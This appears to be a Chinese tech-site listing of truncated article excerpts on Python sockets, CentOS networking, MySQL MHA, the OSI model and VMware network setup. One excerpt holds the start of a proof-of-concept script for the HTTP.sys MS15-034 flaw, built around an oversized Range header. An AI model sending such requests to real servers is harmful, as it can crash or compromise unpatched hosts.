iNet

Python网络编程—UDP套接字广播

谁都会走 提交于 2020-12-19 11:31:17
广播定义 : 一端发送多点接收 广播地址 : 每个网络的最大地址为发送广播的地址,向该地址发送,则网段内所有主机都能接收。 """ 创建udp套接字 设置套接字可以接收广播 选择接收端口 """ from socket import * s = socket(AF_INET,SOCK_DGRAM) # 让套接字接收广播 s.setsockopt(SOL_SOCKET,SO_BROADCAST,1 ) s.bind(( " 0.0.0.0 " ,8888 )) while True: msg,addr =s.recvfrom(1024 ) print (msg.decode()) s.close() broadcast_recv 1 """ 2 发送广播 3 """ 4 from socket import * 5 import time 6 dest=( ' 176.100.7.255 ' ,8888 ) 7 s= socket(AF_INET,SOCK_DGRAM) 8 s.setsockopt(SOL_SOCKET,SO_BROADCAST,1 ) 9 data= """ 10 人生苦短,我用Python. 11 """ 12 while True: 13 time.sleep(2 ) 14 s.sendto(data.encode(),dest) 15 print (data

CentOS7.3学习笔记总结(七十九)

那年仲夏 提交于 2020-12-18 18:24:29
CentOS8 Linux 操作系统启用 network.service, 采用 NetworkManager ( NM )为网卡启用命令,如果还是想用 network.service 服务,在 CentOS8 Linux 系统中可以安装 network.service 作为网卡服务。 CentOS8 的 NetworkManager 在 CentOS7 中还是可以使用的。 1、 nmcli 总命令 输入 nmcli 后利用命令的自动补全: nmcli help 直接输入 nmcli 命令: ens33: 已连接 到 ens33# 网卡名称 "Intel 82545EM" # 网卡驱动、型号 ethernet (e1000), 00:0C:29:20:3A:D5, 硬件 , mtu 1500# 全虚拟网卡 ip4 default# 缺省 IP4 配置 inet4 10.41.1.97/24# 设置的 ip 地址和子网掩码 route4 10.41.1.0/24# 网关 route4 0.0.0.0/0 inet6 fe80::ff3b:f027:613d:785c/64#ipv6 route6 fe80::/64#ipv6 route6 ff00::/8#ipv6 docker0: 已连接 到 docker0#docker 容器的网卡 "docker0" bridge, 02:42

HTTP.sys远程执行代码漏洞

匆匆过客 提交于 2020-12-17 23:22:50
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。 官方文档: https://technet.microsoft.com/zh-cn/library/security/MS15-034 POC(python2): 1 # !/usr/bin/env python 2 # -*-coding:utf-8-*- 3 4 import socket 5 import random 6 7 ipAddr = raw_input( " Please set your target: " ) 8 hexAllFfff = " 18446744073709551615 " 9 req1 = " GET / HTTP/1.0\r\n\r\n " 10 req = " GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0- " + hexAllFfff + " \r\n\r\n " 11 12 print " [*] Audit Started " 13 14 try : 15 client_socket = socket.socket(socket.AF_INET, socket.SOCK

网络编程

你离开我真会死。 提交于 2020-12-16 12:55:48
阅读目录 一.楔子 二.客户端/服务端架构 三.网络基础 四.套接字(socket)初使用 五.黏包 六.验证客户端链接的合法性 七.socketserver 回到顶部 一.楔子 你现在已经学会了写python代码,假如你写了两个python文件a.py和b.py,分别去运行,你就会发现,这两个python的文件分别运行的很好。但是如果这两个程序之间想要传递一个数据,你要怎么做呢? 这个问题以你现在的知识就可以解决了,我们可以创建一个文件,把a.py想要传递的内容写到文件中,然后b.py从这个文件中读取内容就可以了。 但是当你的a.py和b.py分别在不同电脑上的时候,你要怎么办呢? 类似的机制有计算机网盘,qq等等。我们可以在我们的电脑上和别人聊天,可以在自己的电脑上向网盘中上传、下载内容。这些都是两个程序在通信。 回到顶部 二.软件开发的架构 我们了解的涉及到两个程序之间通讯的应用大致可以分为两种: 第一种是应用类:qq、微信、网盘、优酷这一类是属于需要安装的桌面应用 第二种是web类:比如百度、知乎、博客园等使用浏览器访问就可以直接使用的应用 这些应用的本质其实都是两个程序之间的通讯。而这两个分类又对应了两个软件开发的架构~ 1.C/S架构 C/S即:Client与Server ,中文意思:客户端与服务器端架构,这种架构也是从用户层面(也可以是物理层面)来划分的。

MySQL高可用架构(MHA)与Atlas读写分离

非 Y 不嫁゛ 提交于 2020-12-14 22:11:50
1.1 MHA简介 1.1.1 MHA软件介绍   MHA(Master High Availability)目前在MySQL高可用方面是一个相对成熟的解决方案,它由日本DeNA公司youshimaton(现就职于Facebook公司)开发,是一套优秀的作为MySQL高可用性环境下故障切换和主从提升的高可用软件。在MySQL故障切换过程中, MHA能做到在10~30秒之内自动完成数据库的故障切换操作 ,并且在进行故障切换的过程中,MHA能在最大程度上保证数据的一致性,以达到真正意义上的高可用。   MHA能够在较短的时间内实现自动故障检测和故障转移,通常在10-30秒以内;在复制 框架中,MHA能够很好地解决复制过程中的数据一致性问题,由于不需要在现有的 replication中添加额外的服务器,仅需要一个manager节点,而一个Manager能管理多套复制,所以能大大地节约服务器的数量;另外,安装简单,无性能损耗,以及不需要修改现 有的复制部署也是它的优势之处。   MHA还提供在线主库切换的功能,能够安全地切换当前运行的主库到一个新的主库中 (通过将从库提升为主库),大概 0.5-2秒 内即可完成。   该软件由两部分组成:MHA Manager(管理节点)和MHA Node(数据节点)。MHA Manager可以单独部署在一台独立的机器上管理多个master-slave集群

OSI七层模型与TCP/IP五层模型

荒凉一梦 提交于 2020-12-14 11:06:28
一、OSI参考模型 1、OSI的来源 OSI(Open System Interconnect),即开放式系统互联。 一般都叫OSI参考模型,是ISO(国际标准化组织)组织在1985年研究的网络互连模型。 ISO为了更好的使网络应用更为普及,推出了OSI参考模型。其含义就是推荐所有公司使用这个规范来控制网络。这样所有公司都有相同的规范,就能互联了。 2、OSI七层模型的划分 OSI定义了网络互连的七层框架(物理层、数据链路层、网络层、传输层、会话层、表示层、应用层),即ISO开放互连系统参考模型。 每一层实现各自的功能和协议,并完成与相邻层的接口通信。OSI的服务定义详细说明了各层所提供的服务。某一层的服务就是该层及其下各层的一种能力,它通过接口提供给 更高一层。各层所提供的服务与这些服务是怎么实现的无关。 3、各层功能定义 这里我们只对OSI各层进行功能上的大概阐述,不详细深究,因为每一层实际都是一个复杂的层。后面我也会根据个人方向展开部分层的深入学习。这里我们就大概了解一下。 我们从最顶层——应用层 开始介绍。整个过程以公司A和公司B的一次商业报价单发送为例子进行讲解。 <1> 应用层 OSI参考模型中最靠近用户的一层,是为计算机用户提供应用接口,也为用户直接提供各种网络服务。我们常见应用层的网络服务协议有:HTTP,HTTPS,FTP,POP3、 SMTP等。

VMware虚拟机 Ubuntu 实用技巧 (2)桥接模式连接网络与网卡的配置

给你一囗甜甜゛ 提交于 2020-12-12 02:37:49
1、先用ifconfig查看当前的网卡配置,一般没有进行设置之前,打印的信息如下所示。 ens33 Link encap:以太网 硬件地址 02:0c:29:c6:be:c7 inet6 地址: fe80::20c:29ef:fec6:bec7/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 跃点数:1 接收数据包:215 错误:0 丢弃:0 过载:0 帧数:0 发送数据包:256 错误:0 丢弃:0 过载:0 载波:0 碰撞:0 发送队列长度:1000 接收字节:25858 (25.8 KB) 发送字节:27711 (27.7 KB) lo Link encap:本地环回 inet 地址:127.0.0.1 掩码:255.0.0.0 inet6 地址: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 跃点数:1 接收数据包:165 错误:0 丢弃:0 过载:0 帧数:0 发送数据包:165 错误:0 丢弃:0 过载:0 载波:0 碰撞:0 发送队列长度:1 接收字节:12225 (12.2 KB) 发送字节:12225 (12.2 KB)    2、查看当前网卡配置,打开配置文件/etc/network/interfaces sudo vim /etc/network

Python 黏包及黏包解决方案

巧了我就是萌 提交于 2020-12-08 08:33:05
粘包现象      说粘包之前,我们先说两个内容,1.缓冲区、2.windows下cmd窗口调用系统指令    1 缓冲区(下面粘包现象的图里面还有关于缓冲区的解释)           每个 socket 被创建后,都会分配两个缓冲区,输入缓冲区和输出缓冲区。 write() / send() 并不立即向网络中传输数据,而是先将数据写入缓冲区中,再由TCP协议将数据从缓冲区发送到目标机器。一旦将数据写入到缓冲区,函数就可以成功返回,不管它们有没有到达目标机器,也不管它们何时被发送到网络,这些都是TCP协议负责的事情。 TCP协议独立于 write() / send() 函数,数据有可能刚被写入缓冲区就发送到网络,也可能在缓冲区中不断积压,多次写入的数据被一次性发送到网络,这取决于当时的网络情况、当前线程是否空闲等诸多因素,不由程序员控制。 read() / recv() 函数也是如此,也从输入缓冲区中读取数据,而不是直接从网络中读取。 这些I / O缓冲区特性可整理如下: 1.I/ O缓冲区在每个TCP套接字中单独存在; 2.I/ O缓冲区在创建套接字时自动生成; 3 .即使关闭套接字也会继续传送输出缓冲区中遗留的数据; 4 .关闭套接字将丢失输入缓冲区中的数据。 输入输出缓冲区的默认大小一般都是 8K,可以通过 getsockopt() 函数获取: 1 .unsigned

QQ版网络聊天室完整项目+MFC\C++\C(更改服务器IP可实现异机沟通)

江枫思渺然 提交于 2020-12-06 10:31:23
QQ版网络聊天室完整项目+MFC\C++\C 资源地址1 资源地址2 项目简介 服务器端部分代码 客户端响应部分代码 数据库连接 理论~ 实例展示 资源地址1 https://github.com/Msrumo/QChatRoom 资源地址2 https://gitee.com/it-future/QChatRoom 项目简介 声明::使用服务器IP来实现不同客户端的通信,本代码可能会有些许问题,需自行调试使用! 并不说明这个源码可以直接成功实现网络通信!仅本地局域网不出错! 设计功能 : 1.ChatRoom模仿QQ界面实现局域网消息互通; 2.用户注册获得ID,这些将保存在mysql数据库中,可以自定义头像、昵称等; 3.登录后,选中私信模式,在好友列表中可以双击选中某位好友,来进行私信聊天; 4.群聊世界,可以跟局域网内所有在线用户交流; 5.用户主界面额外设置了Bing网页搜索功能,供用户使用。 初始化套接字: Socket创建套接字 :af地址族 tcp/IP都是 AF_INET 流式套接字是TCP,数据包套接字是UDP 0 选择合适协议 bind 本地地址与套接字关联起来 套接字,指针地址sockaddr(包含了IP地址,端口号),长度 创建线程 Createthread 第三个是线程函数 第4个为线程传入参数 LP代表长指针(使用结构体来传入多个值) 线程函数

Vmware linux下不能联网

做~自己de王妃 提交于 2020-12-04 01:39:44
很是尴尬,遇到了虚拟机 linux系统不能联网的问题,昨天还用的好好的。 首 先,ifconfig 查看自己的 网络参数 此处仅为查看系统的设备名 可能性 1:没有打开网络 点击链接,尝试链接网络。 可能性 2:虚拟机网络设置问题 将 网络修改为桥接 "虚拟机" -> "设置" -> "网络适配器" 选择桥接模式,并保存。 可能性 3:IP故障 设置固定的IP地址 sudo vim /etc/network/interfaces 打开网络设置文件 添加 内容 auto eth0 iface eth0 inet staticaddress 192.168.0.113 netmask 255.255.255.0 gateway 192.168.31.1 dns-nameservers 114.114.114.114 注:此处eth0是你查询到的网络设备,192.168.0.113 是你想要设置的IP. sudo vim /etc/resolvconf/resolv.conf.d/base 添加DNS 添加 内容 nameserver 114.114.114.114 保存 输入 /etc/init.d/networking restart 重启网卡 可能性 4:VMware服务没有打开 a:右键单击“计算机”->"服务" b:在运行串口输入services.msc 开启 服务